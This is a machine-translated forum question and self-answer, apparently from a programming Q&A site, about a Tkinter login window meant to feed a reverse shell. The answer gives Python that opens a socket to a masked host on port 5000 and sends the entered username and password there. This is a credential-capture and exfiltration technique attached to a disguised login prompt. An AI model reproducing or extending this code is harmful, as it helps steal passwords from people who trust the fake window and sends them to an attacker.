这是一个简单的GUI程序,我希望能够通过我的反向shell中的套接字发送用户输入,但我有点难过。任何帮助将不胜感激:)
from tkinter import *
import tkinter.messagebox as box
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
else:
box.showinfo('info','Invalid Login')
window = Tk()
window.title('Countries Generation')
frame = Frame(window)
Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)
entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)
Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)
entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)
btn = Button(frame, text = 'Check Login',command = dialog1)
btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
答案 0 :(得分:0)
是的我自己回答了,非常容易我的大脑必须有一个时刻大声笑,对于其他任何想知道如何做到这一点的人,你发送的username.entry1.get()和password.entry2.get()在插槽中,就像你通常会变量基本上一样:)
host = 'xxx.xxx.xx.x'
port = 5000
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
s.send(bytes(username,'utf8'))
s.send(bytes(password, 'utf8'))
else:
box.showinfo('info','Invalid Login')